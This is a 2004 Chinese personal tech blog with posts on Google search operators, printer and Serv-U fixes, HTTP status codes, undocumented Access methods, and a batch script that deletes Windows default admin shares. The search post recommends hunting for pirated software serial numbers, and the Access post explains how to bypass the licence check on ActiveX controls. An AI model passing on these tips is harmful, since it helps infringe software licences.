GOOGLE提供了Internet上图像文件的搜索功能!!目前该功能尚在B测试阶段,但已经非常好用。访问地址是“images.google.com”。你可以在关键字栏位内输入描述图像内容的关键字,如“britney spears”,也可以输入描述图像质量或者其他属性的关键字,如“high quality”。

GOOGLE给出的搜索结果具有一个直观的缩略图(THUMBNAIL),以及对该缩略图的简单描述,如图像文件名称,以及大小等。点击缩略图,页面分成两祯,上祯是图像之缩略图,以及页面链接,而下祯,则是该图像所处的页面。屏幕右上角有一个“Remove Frame”的按钮,可以把框架页面迅速切换到单祯的结果页面,非常方便。GOOGLE还提供了对成人内容图像的限制功能,可以让搜索者免受不必要的骚扰。

不过,非常遗憾的是,图像搜索功能还不支持中文。

七,搜索技巧杂谈

关键词的选择在搜索中起到决定性的作用,所有搜索技巧中,关键词选择是最基本也是最有效的。

例一:查找《镜花缘》一书中淑士国酒保的酸话原文。

分析:如果按照一般的思路,找某部小说中的具体段落,就需要用搜索引擎先找到这本书,然后再翻到该段落。这样做当然可以,但是效率很低。如果了解目标信息的构成,用一些目标信息所特有的字词,可以非常迅速的查到所需要的资料。也就是说,高效率的搜索关键字不一定就是目标信息的主题。在上面的例子中,酒保谈到酒的浓淡与贵贱的关系时,之乎者也横飞。因此,可以用特定的词语一下子找到目标资料。

搜索:“酒 贵 贱 之”,OK,找到的第一条信息就是镜花缘的这一段落:“先生听者:今以酒醋论之,酒价贱之,醋价贵之。因何贱之?为甚贵之?真所分之,在其味之。酒昧淡之,故而贱之;醋味厚之,所以贵之。...”

以上的关键字选择技巧可以谓之“特定词法”。

例二:“黄花闺女”一词中“黄花”是什么意思。

分析:“黄花闺女”是一个约定的俗语,如果只用“黄花闺女 黄花”做关键词,搜索结果将浩如烟海,没什么价值,因此必须要加更多的关键词,约束搜索结果。选择什么关键词好呢?备选的有“意思”、“含义”、“来历”、“由来”、“典故”、“出典”、“渊源”等,可以猜到的是,类似的资料,应该包含在一些民俗介绍性的文字里,所以用诸如“来历”、“由来”、“出典”等词汇的概率更高一些。

搜索:“黄花闺女 黄花 由来”,查到“黄花”原来出典于《太平御览》,与南朝的寿阳公主相关。如果想获得第一手资料,那就可以用“太平御览 寿阳公主”做搜索了。

以上的关键字选择技巧可以谓之“近义词法”。

例三:刘德华同志的胸围是多少。

分析:首先声明,这是某个MM要我做的搜索,我把它作为搜索案例而已,没其他的意思。非常直接的搜索是,“刘德华 胸围”,但事实上,这么搜索出来的结果,尽是一些诸如“刘德华取笑莫文蔚胸围太小”之类的八卦新闻,无法快速得到所需要的资料。可以想到的是,需要的资料应该包含在刘德华的全面介绍性文字中,除了胸围,应该还包括他的身高,体重,生日等一系列相关信息。OK,这样就可以进一步的增加其他约束性关键词以缩小搜索范围。

搜索:“刘德华 胸围 身高”,没有料到的情况发生了,网上炙手可热的痞子蔡《第一次亲密接触》里居然含有这样关键字,阿泰“改编自刘德华《忘情水》的变态歪歌”、“用身高体重三围和生日来加以编号”。好办,把这部小说去掉,“刘德华 胸围 身高 -阿泰”,OK,结果出来了,华仔胸围84cm。说明一下,为什么用“阿泰”而不用“第一次亲密接触”呢?这是因为小说的名字被转载的时候可能有变动,但里面角色的名字是不会变的。

以上的关键字选择技巧可以谓之“相关词法”。

其他常用搜索个案

例一:找人

分析:一个人在网上揭示的资料通常有:姓名,网名,性别,年龄,毕业学校,工作单位,外号,住址,电话,信箱,BP,手机号码,ICQ号,OICQ号等等。所以,如果你要了解一下你多年没见过的同学,那不妨用上述信息做关键字进行查询,也许会有大的收获。

例二:找软件

分析一:最简单的搜索当然就是直接以软件名称以及版本号为关键字查询。但是,仅仅有软件名称和目标网站,显然还不行,因为搜索到的可能是软件的相关新闻。应该再增加一个关键字。考虑到下载页面上常有“点击此处下载”或者“download”的提示语,因此,可以增加“下载”或者“download”为关键字。
搜索:“winzip 8.0 下载”
结果:已搜索有关winzip 8.0 下载的中文(简体)网页。共约有6,670项查询结果,这是第1-10项。搜索用时0.22秒。

分析二:很多网站设有专门的下载目录,而且就命名为“download”,因此,可以用INURL语法直接搜索这些下载目录。
搜索:“winzip 8.0 inurl:download”
结果:已搜索有关winzip 8.0 inurl:download的中文(简体)网页。共约有358项查询结果,这是第1-10项。搜索用时0.44秒。

在互联网上随意的下载软件是不安全的,因为供下载的软件有可能带有病毒或者捆绑了木马,所以,对下载网站作一个限定,是一个稳妥的思路。可以用SITE语法达到这个目的。

共享软件下载完之后,使用的时候,软件总跳出警示框,或者软件的功能受到一定限制。由于中国的网民多是穷棒子,所以应该再找一个注册码。找注册码,除了软件的名称和版本号外,还需要有诸如“serial number”、“sn”、“序列号”等关键字。现在,来搜索一下winzip8.0的注册码。
搜索:“winzip 8.0 sn”
结果:已向英特网搜索winzip 8.0 sn. 共约有777项查询结果,这是第1-10项。搜索用时0.30秒。

例三:找图片

除了GOOGLE提供的专门图片搜索功能,还可以组合使用一些搜索语法,达到图片搜索之目的。

分析一:专门的图片集合,提供图片的网站通常会把图片放在某个专门目录下,如“gallary”、“album”、“photo”、“image”等。这样就可以使用INURL语法迅速找到这类目录。现在,试着找找小甜甜布兰妮的照片集。
搜索:“"britney spears" inurl:photo”
结果:已向英特网搜索"britney spears" inurl:photo. 共约有2,720项查询结果,这是第1-10项。搜索用时0.23秒。

分析二:提供图片集合的网页,在标题栏内通常会注明,这是谁谁的图片集合。于是就可以用INTITLE语法找到这类网页。
搜索:“intitle:"britney spears" picture”
结果:已向英特网搜索intitle:"britney spears" picture. 共约有317项查询结果,这是第1-10项。搜索用时0.40秒。

分析三:明星的FANS通常会申请免费个人主页来存放他们偶像的靓照。于是用SITE语法指定某免费主页提供站点,是个迅速找到图片的好办法。
搜索:“"britney spears" site:geocities.com”
结果:已在geocities.com内搜索有关"britney spears"的网页。共约有5,020项查询结果,这是第1-10项。搜索用时0.47秒。

例四:找MP3

分析一:提供MP3的网站,通常会建立一个叫做MP3的目录,目录底下分门别类的存放各种MP3乐曲。所以,可以用INURL语法迅速找到这类目录。现在用这个办法找找老歌“say you say me”。
搜索:“"say you say me" inurl:mp3”
结果:已向英特网搜索inurl:mp3 "say you say me". 共约有155项查询结果,这是第1-10项。搜索用时0.17秒。

分析二:也可以通过网页标题,找到这类提供MP3的网页。
搜索:“"say you say me" intitle:mp3”
结果:已向英特网搜索"say you say me" intitle:mp3. 共约有178项查询结果,这是第1-10项。搜索用时0.73秒。

当然,如果你知道某个网站的下载速度快,而且乐曲全,就可以用SITE语法先到该网站上看看有没有目标乐曲。

例五:找书

分析一:对我而言,常访问的电子图书馆类网站就那么几个,比如文艺类的“www.shuku.net”。于是可以用SITE语法很简单的找到某本书(如果该网站上有的话)。比如,“旧唐书 site:shuku.net”,就可以马上找到该书。如果没有,通常别的网站上也很难找到。因此,找书的关键,是你了解一大批著名的图书馆网站。

分析二:我上面介绍的第一项关键字选择技巧特定词法,对于迅速找到某书或者文章也是极其有用的,当然,这得建立在你已经读过该书,对书的内容有印象的基础上。比如如果了解堂吉诃德一书战风车的大致内容,就可以用“吉诃德 风车 桑乔”迅速找到该书。

九,GOOGLE搜索FAQ

Q:如何全面的了解google.com?
A:查看网站相关页面“http://www.google.com/about.html”。

Q:如何切换google.com的初始语言界面?
A:点击搜索栏右边的“使用偏好”(Preferences),选择“界面语言”(Interface Language)中你期望的语言,点击最下面的“设定使用偏好”(Save Preferences)按钮。需要提醒的是,GOOGLE用cookie记录这个偏好,所以如果你把浏览器的cookie功能关掉,就无法进行设定。

Q:如何设定每页搜索结果显示数量?
A:同上,进入使用偏好,在该页的“查看结果”(Number of Results)选择显示结果数,数目越大,显示结果需要的时间越长,默认是10项。

Q:搜索到的链接无法打开怎么办?
A:链接无法打开的原因很多,比如网站当机,或者ISP过滤等,可以点击GOOGLE的“网页快照”查看在GOOGLE服务器上的网页缓存。

Q:打开搜索结果的链接,可是该页面太大,很难找到一下子找到目的资料怎么办?
A:直接打开“网页快照”,GOOGLE会把关键词用不同颜色标记出来,很容易找到。


shelly 发表于  2004-04-17 14:30:03


   惠普 激打 HP1150 打印机软故障排除一例。    |   阅读全文   |   评论(0)  |  引用(trackback0)  

本来排除这故障费了些周折,搞的我有些头大,差点坏了我名声(/tx)。

序:本就为仓管系统服务器重启问题(后查得是电源质量问题)搞的焦头烂额的。接到新(软起动)公司的求救电话。说AutoCAD 2000 不能打印。晕晕,怎么可能呀?      猛然想起,上次给装激打时,只是打印了测试页。嗯,可能存在软件兼容性问题。

现象:火速(/:D 没有啦)赶到新公司,发觉该打印机,点击打印时,有一出错提示。没有仔细看,就点确定,预览可以看到,打印时,吐出一张空白纸。 用记事本及Word 打印正常。

解决:

1 既然这样,WORD正常,记事本正常。呵呵,那应该是 AutoCAD2000 的问题了吧。嗯,俺的拿手好戏。

  1.a  删除原有的AutoCAD2000程序,并删除安装目录。

  1.b  清理注册表 。

2 安装AutoCAD2000 一切正常。装好加密狗后,再打印。晕晕,故障依旧。

  然后,头脑一热,就进AutoCAD2000的设置里进行了关于打印的N项设置的设置试验。晕晕~~~  未果~~~

......

3 最后:

  把 AutoCAD2000 的 Drv 目录下的 hpgdi6.drv 文件备份为  hpgdi6_bak.drv。并把 原 gdi6.drv COPY一份并改名为 hpgdi6.drv 。故障得以解决。晕晕

结论:该型号打印机估计出厂没有进行驱动大型软件的驱动测试。唉唉~~~  真搞不懂 惠普 还会搞这些东东出来~~~ 

shelly 发表于  2004-04-15 20:40:08


   部分摘录HTTP状态码。    |   阅读全文   |   评论(0)  |  引用(trackback1)  

七、HTTP应答状态 
 作 者 : 仙人掌工作室
  
  
     7.1 状态代码概述
  
     Web服务器响应浏览器或其他客户程序的请求时,其应答一般由以下几个部分组成:一个状态行,几个应答头,一个空行,内容文档。下面是一个最简单的应答:
  HTTP/1.1 200 OK
  Content-Type: text/plain
  
  Hello World
  
  
  
  
     状态行包含HTTP版本、状态代码、与状态代码对应的简短说明信息。在大多数情况下,除了Content-Type之外的所有应答头都是可选的。但Content-Type是必需的,它描述的是后面文档的MIME类型。虽然大多数应答都包含一个文档,但也有一些不包含,例如对HEAD请求的应答永远不会附带文档。有许多状态代码实际上用来标识一次失败的请求,这些应答也不包含文档(或只包含一个简短的错误信息说明)。
  
     Servlet可以利用状态代码来实现许多功能。例如,可以把用户重定向到另一个网站;可以指示出后面的文档是图片、PDF文件或HTML文件;可以告诉用户必须提供密码才能访问文档;等等。这一部分我们将具体讨论各种状态代码的含义以及利用这些代码可以做些什么。
  
     7.2 设置状态代码
  
     如前所述,HTTP应答状态行包含HTTP版本、状态代码和对应的状态信息。由于状态信息直接和状态代码相关,而HTTP版本又由服务器确定,因此需要Servlet设置的只有一个状态代码。
  
     Servlet设置状态代码一般使用HttpServletResponse的setStatus方法。setStatus方法的参数是一个整数(即状态代码),不过为了使得代码具有更好的可读性,可以用HttpServletResponse中定义的常量来避免直接使用整数。这些常量根据HTTP 1.1中的标准状态信息命名,所有的名字都加上了SC前缀(Status Code的缩写)并大写,同时把空格转换成了下划线。也就是说,与状态代码404对应的状态信息是“Not Found”,则HttpServletResponse中的对应常量名字为SC_NOT_FOUND。但有两个例外:和状态代码302对应的常量根据HTTP 1.0命名,而307没有对应的常量。
  
     设置状态代码并非总是意味着不要再返回文档。例如,虽然大多数服务器返回404应答时会输出简单的“File Not Found”信息,但Servlet也可以定制这个应答。不过,定制应答时应当在通过PrintWriter发送任何内容之前先调用response.setStatus。
  
     虽然设置状态代码一般使用的是response.setStauts(int)方法,但为了简单起见,HttpServletResponse为两种常见的情形提供了专用方法:sendError方法生成一个404应答,同时生成一个简短的HTML错误信息文档;sendRedirect方法生成一个302应答,同时在Location头中指示新文档的URL。
  
     7.3 HTTP 1.1状态代码及其含义
  
     下表显示了常见的HTTP 1.1状态代码以及它们对应的状态信息和含义。
  
     应当谨慎地使用那些只有HTTP 1.1支持的状态代码,因为许多浏览器还只能够支持HTTP 1.0。如果你使用了HTTP 1.1特有的状态代码,最好能够检查一下请求的HTTP版本号(通过HttpServletRequest的getProtocol方法)。 状态代码 状态信息 含义
  100 Continue 初始的请求已经接受,客户应当继续发送请求的其余部分。(HTTP 1.1新)
  101 Switching Protocols 服务器将遵从客户的请求转换到另外一种协议(HTTP 1.1新)
  200 OK 一切正常,对GET和POST请求的应答文档跟在后面。如果不用setStatus设置状态代码,Servlet默认使用202状态代码。
  201 Created 服务器已经创建了文档,Location头给出了它的URL。
  202 Accepted 已经接受请求,但处理尚未完成。
  203 Non-Authoritative Information 文档已经正常地返回,但一些应答头可能不正确,因为使用的是文档的拷贝(HTTP 1.1新)。
  204 No Content 没有新文档,浏览器应该继续显示原来的文档。如果用户定期地刷新页面,而Servlet可以确定用户文档足够新,这个状态代码是很有用的。
  205 Reset Content 没有新的内容,但浏览器应该重置它所显示的内容。用来强制浏览器清除表单输入内容(HTTP 1.1新)。
  206 Partial Content 客户发送了一个带有Range头的GET请求,服务器完成了它(HTTP 1.1新)。
  300 Multiple Choices 客户请求的文档可以在多个位置找到,这些位置已经在返回的文档内列出。如果服务器要提出优先选择,则应该在Location应答头指明。
  301 Moved Permanently 客户请求的文档在其他地方,新的URL在Location头中给出,浏览器应该自动地访问新的URL。
  302 Found 类似于301,但新的URL应该被视为临时性的替代,而不是永久性的。注意,在HTTP1.0中对应的状态信息是“Moved Temporatily”,而HttpServletResponse中相应的常量是SC_MOVED_TEMPORARILY,而不是SC_FOUND。
  出现该状态代码时,浏览器能够自动访问新的URL,因此它是一个很有用的状态代码。为此,Servlet提供了一个专用的方法,即sendRedirect。使用response.sendRedirect(url)比使用response.setStatus(response.SC_MOVED_TEMPORARILY)和response.setHeader("Location",url)更好。这是因为:
  
  首先,代码更加简洁。
  第二,使用sendRedirect,Servlet会自动构造一个包含新链接的页面(用于那些不能自动重定向的老式浏览器)。
  最后,sendRedirect能够处理相对URL,自动把它们转换成绝对URL。
  注意这个状态代码有时候可以和301替换使用。例如,如果浏览器错误地请求http://host/~user(缺少了后面的斜杠),有的服务器返回301,有的则返回302。
  
  严格地说,我们只能假定只有当原来的请求是GET时浏览器才会自动重定向。请参见307。
  
  303 See Other 类似于301/302,不同之处在于,如果原来的请求是POST,Location头指定的重定向目标文档应该通过GET提取(HTTP 1.1新)。
  304 Not Modified 客户端有缓冲的文档并发出了一个条件性的请求(一般是提供If-Modified-Since头表示客户只想比指定日期更新的文档)。服务器告诉客户,原来缓冲的文档还可以继续使用。
  305 Use Proxy 客户请求的文档应该通过Location头所指明的代理服务器提取(HTTP 1.1新)。
  307 Temporary Redirect 和302(Found)相同。许多浏览器会错误地响应302应答进行重定向,即使原来的请求是POST,即使它实际上只能在POST请求的应答是303时才能重定向。由于这个原因,HTTP 1.1新增了307,以便更加清除地区分几个状态代码:当出现303应答时,浏览器可以跟随重定向的GET和POST请求;如果是307应答,则浏览器只能跟随对GET请求的重定向。
  注意,HttpServletResponse中没有为该状态代码提供相应的常量。(HTTP 1.1新)
  
  400 Bad Request 请求出现语法错误。
  401 Unauthorized 客户试图未经授权访问受密码保护的页面。应答中会包含一个WWW-Authenticate头,浏览器据此显示用户名字/密码对话框,然后在填写合适的Authorization头后再次发出请求。
  403 Forbidden 资源不可用。服务器理解客户的请求,但拒绝处理它。通常由于服务器上文件或目录的权限设置导致。
  404 Not Found 无法找到指定位置的资源。这也是一个常用的应答,HttpServletResponse专门提供了相应的方法:sendError(message)。
  405 Method Not Allowed 请求方法(GET、POST、HEAD、DELETE、PUT、TRACE等)对指定的资源不适用。(HTTP 1.1新)
  406 Not Acceptable 指定的资源已经找到,但它的MIME类型和客户在Accpet头中所指定的不兼容(HTTP 1.1新)。
  407 Proxy Authentication Required 类似于401,表示客户必须先经过代理服务器的授权。(HTTP 1.1新)
  408 Request Timeout 在服务器许可的等待时间内,客户一直没有发出任何请求。客户可以在以后重复同一请求。(HTTP 1.1新)
  409 Conflict 通常和PUT请求有关。由于请求和资源的当前状态相冲突,因此请求不能成功。(HTTP 1.1新)
  410 Gone 所请求的文档已经不再可用,而且服务器不知道应该重定向到哪一个地址。它和404的不同在于,返回407表示文档永久地离开了指定的位置,而404表示由于未知的原因文档不可用。(HTTP 1.1新)
  411 Length Required 服务器不能处理请求,除非客户发送一个Content-Length头。(HTTP 1.1新)
  412 Precondition Failed 请求头中指定的一些前提条件失败(HTTP 1.1新)。
  413 Request Entity Too Large 目标文档的大小超过服务器当前愿意处理的大小。如果服务器认为自己能够稍后再处理该请求,则应该提供一个Retry-After头(HTTP 1.1新)。
  414 Request URI Too Long URI太长(HTTP 1.1新)。
  416 Requested Range Not Satisfiable 服务器不能满足客户在请求中指定的Range头。(HTTP 1.1新)
  500 Internal Server Error 服务器遇到了意料不到的情况,不能完成客户的请求。
  501 Not Implemented 服务器不支持实现请求所需要的功能。例如,客户发出了一个服务器不支持的PUT请求。
  502 Bad Gateway 服务器作为网关或者代理时,为了完成请求访问下一个服务器,但该服务器返回了非法的应答。
  503 Service Unavailable 服务器由于维护或者负载过重未能应答。例如,Servlet可能在数据库连接池已满的情况下返回503。服务器返回503时可以提供一个Retry-After头。
  504 Gateway Timeout 由作为代理或网关的服务器使用,表示不能及时地从远程服务器获得应答。(HTTP 1.1新)
  505 HTTP Version Not Supported 服务器不支持请求中所指明的HTTP版本。(HTTP 1.1新)

shelly 发表于  2004-04-15 15:15:17


   查看被锁定源代码的网页~~~    |   阅读全文   |   评论(0)  |  引用(trackback1)  
把网址复制到下面再点击查看源文件即可~~~ FOR 水盟圣诞老人

  看源文件  清除网址
shelly 发表于  2004-04-10 08:04:51


   关于Serv-U 的ODBC 帐户管理    |   阅读全文   |   评论(1)  |  引用(trackback1)  

昨天收到 水盟蓝雨 发给我的支持ODBC的 Serv-U 回家试了一下。呵呵,主要是试一下ODBC帐户管理的功能。

呵呵,试验成功。

这里简要说明一下要点。

1 按 Serv-U 的帮助文档 设计好Access 数据库。呵呵,如果你愿意,用Excel也成。关键是 可以提供ODBC连接就成。  Serv-U 帮助文档里用的是 MySQL 数据库的连接。呵呵,不错。我喜欢。 不过,出租房电脑里没有安装 MyODBC 也就做罢了。就更选用比较适合 普通用户 的Access 数据库做为帐号数据库

2 安装 Serv-U 5.0 新建域时选择 帐号存储位置为ODBC。

3 修改新建域的属性。有一个 ODBC 选项卡多出来。呵呵,就是它了。

4 我原以为,Serv-U 所支持的帐号数据库需要有特定的表名,及表结构等。 其实不然。(因为这个想法,让我走了不少弯路哦) 

    最初,我把表结构 设置的同帮助文档的字段名呀,表名呀什么的。 在ODBC里只设置了ODBC 系统DSN 名。(不要学这里哦),最后才发现,不但要设置系统DSN,还要设置对应DSN 的用户表名,及表结构里对应的字段名。呵呵,重新设置后成功。

5 爽,这样就不用我以前替PC做的那个 Serv-U INI文件管理类 (php 的,做的比较粗糙,不敢登上来 /hx) 来用 ASP或PHP等添加账号了。 以后就可以直接用ASP,PHP等连接ODBC,就可以动态更新帐号。呵呵,高兴中~~~~

   不过,数据库更新后,Serv-U 帐号是不是立马就生效,还有待今晚 验证一下。

PS:如果你操作INI文件,要让修改后的INI文件立即生效,得在 [GLOBAL] 段里添加 ReloadSettings=1, 呵呵,这点可是先前找了好久才找到的。这里共享给大家,以免大家同我一样花 大量的时间在这里。 /:D 注册表存储用户账号的方式没有研究透(我想应该不算很难,主要莫有时间搞了),有知道的兄弟姐妹,不要忘记共享哦。谢谢~~~

shelly 发表于  2004-04-08 08:27:04


   Yahoo Mail POP3服务BUG    |   阅读全文   |   评论(2)  |  引用(trackback1)  

今晨帮水盟MM cynthir “Yahoo 邮件FOXMAIL接收设置”的问题时。发现 Yahoo 中文站全球站的帐户是相同的。所以,就把 Yahoo 全球站去看了看帮助。发现 Yahoo 全球站的 关于 Pop3 Smtp 服务地址对于 中文站用户同样适用。

哈哈,这么大网站,这么大BUG,中文站还好意思在上面注明“目前不提供POP3服务”   晕晕~~~~~~

shelly 发表于  2004-04-04 08:41:36


   将Access窗体存为文本文件.(Access 未公开方法)    |   阅读全文   |   评论(0)  |  引用(trackback0)  
From : AccessQQ.com
     应黄海之邀,突然要写点自己的东西,一下子仿佛不知道写些什么了,研究ACCESS这么多年,感觉都是在做企业应用,并没有什么高深的技巧,也没有属于自己的技巧,只好绞尽脑汁,榨点东西出来,希望能对得起黄海和大家:)
     在ACCESS中APPLICATION对象有两个未公开的方法,其中一个是SaveAsText, 另一个是LoadFromText.我记得是刚学ACCESS不久,当时在研究FMS一个分析工具时,跟踪发现它总会产生一些临时文件,对这些临时文件分析,发现它与VB里的窗体文件差不多的格式,所以估计微软可以将ACCESS的窗体转换为文本格式,并提供一种逆相转换的方法。所以发现了深厚的兴趣,后来就找到这两个方法。
    虽然微软还有其它一些比较好用的未公开的属性,但我在这两个方法上花的时间还是最多的,因为它的确有使用价值,所以说说自己多年来的使用心得。
    这两个方法在以后的ACCESS版本中并不一定支持,所以我并不建议大家使用,但因为有些功能如果使用它来实现,可以节省比较多的时间,所以,在某些情况下,我还是会使用它,至少现有的ACCESS版本都支持这个方法。如果同样的功能你可以通过ACCESS正常的方法来实现,我则建议你使用微软公开的方法。切记!

    用途1:

     使用
       application.saveastext acForm,"我的窗体","c:\test.txt"
     将整个窗体导出到一个文本文件,将其打包发送给朋友,让朋友再使用       
       application.loadfromtext acForm,"我的窗体","c:\test.txt"
     再导回去。你可以压缩打包传送。

    用途2:
     可以将窗体保存到文本文件,然后把文本文件存储到OLE字段里,这样整个窗体的界面与代码都可保存到ACCESS数据表里,这个方法对编写 代码库管理器 非常有用。在使用时,还可即时将文本文件还原到一个窗体,让使用者即时预览到这个技巧产生的效果

    用途3:
      将窗体保存到一个文件文件,使用正则表达式对代码进行分析,可以分析语法,代码结构、语法错误、字数统计等等,你可参考一下FMS的一个ACCESS分析工具,它有的功能,你花个半年,做出来应该也没有大问题啦。记得让我试用一下源码哦:)
    
    用途4:
      真正的全局替换,一般我们需要全局替换窗体里一个属性的名称或内容,需要逐个逐个修改,而无法实现像代码中的全局替换,现在将窗体导出到文本文件,在文本文件里进行全局替换,完成后再导回窗体。
    用途5:
      繁简转换,中英转换,一般对控件标题、提示文字、默认值等进行文字上繁简转换后并不能真正实现繁简转换,在转换后相应的环境中打开还会出现ACTIVEX控件找不到或者OLE错误,将窗体或其它对象转换为文本文件后再进行繁简转换,然后再转换相应的字符集、字体名称、节的繁简对应名称、CRC校验码等之后,再导回ACCESS相应对象,就可完成整个ACCESS程序的转换,相应的程序效果可参见我做的繁简转换通用程序,记住简体一般是134 繁体是136 英文你打开就知了。我奉劝,如果你想做同样的功能,那你最好就别做了,用我的就得了,免得断我财路,我提成20%给你就得了,等两年后积到100元我再一次汇给你:)
    用途6:
      中英转换,虽然还需要进行少量手工转换,但已经节省了不少时间,但如何使用正式表达式来正确区别哪些是标题、提示文字、消息框还需要一些技巧。
    用途7:
      改变控件的默认属性        
       除了我们在设计状态修改控件的默认属性之外,使用修改文本文件的内容也可达到修改控件默认属性的效果,当窗体或报表导出到文本文件之后,所有的窗体、控件属件以及默认控件属性都在文本文件中体现出来,通过修改这个文本文件里有关默认属性的设置即可达到目的。
      什么是默认属性?举个例子,你从国外下载一个程序,为什么往窗体里面添加控件,控件字体总是Serif,而在简体中文环境下新建的窗体控件,字体都是“宋体”,在繁体中文环境下新建的窗体控件,字体都是“新细明体”,就是因为这个控件的默认属性导致的
    用途8:
       实现自动创建窗体模板的效果,将做好的具备基本功能的窗体导出到文本文件保存起来,到需要使用的时间,直接导入回来马上就可能产生一个已具备常用功能的窗体,不需要从头来过,再做得自动化一点,做一个丰富的窗体功能代码库,可让用户选择各种不同的功能,然后从这些代码库里选择想要的代码按照窗体文本文件的格式创建一个文本文件,再由这个文本文件自动组合出一个完善的窗体,不需要用户去编程,他只要选择字段,选择窗体功能、选择样式、选择模板就可实现各种录入窗体、查询窗体、分析窗体、报表统计等等,写程序就变成了组装程序。到时大家没事干了,就开发各个专用组件吧。注意,在文本文件中复制功能和代码,在自动编程化方面,相对窗体里复制控件和代码,具有更大的弹性和可塑性。
    用途9:
       如果窗体或报表里有图片或OLE对象,在导出的文本文件里会包含它们的二进制文件,使用正则表达式或其它方法提取这部分内容再将其还原到相应的图片文件中,即可实现将窗体和报表的图像保存取文件(ACCESS不支持直接将图像控件的图片保存到文件)
    用途10:
       实现将ACCESS窗体和报表转换到VB程序中,现在有一些专业程序提供这种功能,我想基本思路应该是出于此,将窗体和报表导出到文件文件,然后分析它与VB窗体文件之间的分别,然后修改文本文件以适应VB窗体的需要即可实现,只是我没有足够的时间来做这些了:),当然如果你举一反三,你也可能做一个工具,实现将VB的窗体反向转换到ACCESS程序中,毕竟VB的资源和丰富的技巧对ACCESS来讲有很大的利用价值
     用途11:
        一次性修改ACCESS对象里面所用的字体名称 字体大小或其它属性,连窗体的数据表的字体及其它属性也可更改到。
     用途12:
        查看窗体和控件的GUID ,并用来做相应的用途
     用途13:
        修改窗体和报表有关打印机的信息,为什么窗体的打印设置无法保存,为什么打开报表总会提示原来默认打印机不存在,是否使用当前打印机等等,这些信息其实都保存在窗体和报表里,打开文本文件,什么都清楚了,通过这个功能可实现不少强大的功能,大家发挥想像吧。
     用途14:
        如果要获取窗体和控件到底有些什么属性,通过文本文件可知道许多
     用途15:
        创建一些新的控件,如组合框,列表框等等,都可直接在里面复制代码来创建,而更有用的是,有些带注册信息(license)的控件,如果原来的窗体可用,但你没有LICENSE,你复制窗体会出现错误,说你没有版权,但如果你将窗体导出到文本文件,再导回一个新的窗体,ACCESS就给你蒙过去了,不过,这个方法可别说是我教的:),虽然我试过很多次才试出来的,不过我自己是坚决不用的:),大家都知道啦,我一般在公开场合,都是用正版的:)

     用途16:

         可以使用上述的方法对整个ACCESS的所有对象导出到文件进行备份保存,然后想还原哪个就还原哪个,虽然这种方法有其优点,不过,把整个MDB备份可能更实际些:)

    用途17:

         可以用于版本控制,不知大家有否在ACCESS中使用过SourceSafe,我研究不短时间,发现,它的签入签出就是使用我上述说的方法,在SourceSafe保存的是每个对象的文本格式。如果你有兴趣,可以写一个类似的版本控制工具,我预计2008年会开始写它,如果你在那年之前已经写出来了,那最好寄份源码给我,否则我控告你窃取我的点子:)


     用途18:
        除了窗体和报表外,还有其它几乎大部分对象,如查询、视图、存储过程、关系、宏、模块等等都可导出,你可用来做各种各样的用途,这里就不详述了,如果你有独到发现,请一定告诉我哦


        不过请注意,表是不可导出的:)


另外得告诉大家,在2002(XP)版本开始,微软开始对CRC校验进行检查了,所导回时有时可能会有一些问题。可能微软已经知道有人在滥用这个功能了:)     

       匆促而就,语句不通处或错字处,还请放过一马:)

shelly 发表于  2004-04-03 14:18:14


   让MSN能离线留言    |   阅读全文   |   评论(0)  |  引用(trackback0)  
 有没有方法让MSN像QQ那样具有离线留言的功能呢?微软为美国的MSN用户提供了手机服务,可以在离线的情况下向手机和邮箱发送信息。我们就是利用这个实现MSN的离线留言功能。

  第一步:登录http://join.msn.com/?pgmarket=en-us&&page=sitewide/home,然后在窗口左侧的“Hotmail Solutions”栏目下点击“Mobile Hotmail”链接,接着在出现的窗口右小角点击“learn more”按钮链接,然后在出现的网页上点“Sign in”链接。

  第二步:在“Wireless service provider”选项中选择“Other” ,在“Type your mobile address”输入框中输入你的E-mail地址,也可以是MSN号(如图1所示),进行下一步。

  第三步:这里需要你输入验证码,去你刚才填写的信箱看看,如果一切正常的话,你会收到MSN发给你的一封信,内容是“Your MSN Mobile Confirmation code is: ****”将后面这个四位数填入“Confirmation code:”。

  第四步:进入下一页后,提示说三十秒后自动转到下一页,点链接后继续,点“Next”继续,出现“Thank you”提示后点“Done”按钮你就会看到如图2的画面,表示成功申请了。

  注销你的MSN,然后重新登录一下,你会发现你的MSN在离线的状态下,图标发生了变化:多了一个小手机在旁边。当你不在线的情况下,别人也可以给你发送信息了,你将在刚才申请服务时填写的信箱中查看到信息。
shelly 发表于  2004-04-03 12:49:09


   MSN机器人 呵呵~~    |   阅读全文   |   评论(2)  |  引用(trackback1)  

是否在深夜里感到无聊? 去下个机器人吧?

www.9zi.com

shelly 发表于  2004-04-03 12:30:03


   NT系统默认共享清除工具    |   阅读全文   |   评论(2)  |  引用(trackback0)  

另存下面内容为 Delshare.bat ,再开个DOS窗口执行它,按提示操作就行了

@echo off

:Rem 检查参数
if {%1}=={} goto :Usage

:Rem 程序主体
echo.
echo ------------------------------------------------------
echo.
echo  删除当前的系统共享目录
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo  共享目录全部删除完毕
echo.
echo ------------------------------------------------------
echo.
echo  修改注册表项,修改系统默认共享属性
echo.
echo  生成 delshare.reg 准备修改注册表
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo  运行 delshare.reg 修改注册表
regedit /s c:\delshare.reg
echo  删除 delshare.reg 临时文件
del c:\delshare.reg
goto :END

:Usage
echo.
echo ------------------------------------------------------
echo.
echo  Windows NT/2000 系统默认共享清除工具
echo.
echo  作者:阿新(Seraph Chutium)
echo  主页:http://com.6to23.com/
echo.
echo  错误:未输入系统共享名称
echo.
echo  *=*=*  请输入系统共享名称  *=*=*
echo.
echo  例如,删除系统默认共享:
echo  delshare c d e ipc admin print
echo.
echo  若本地硬盘盘符不是 C: D: E: ,请自行修改
echo.
echo  如:
echo  本地硬盘为 C: D: E: X: Y: Z: ,则应改为:
echo  delshare c d e x y z ipc admin print
echo.
echo  *** 支持可同时删除 9 个共享目录 ***
echo.
echo ------------------------------------------------------
goto :EOF
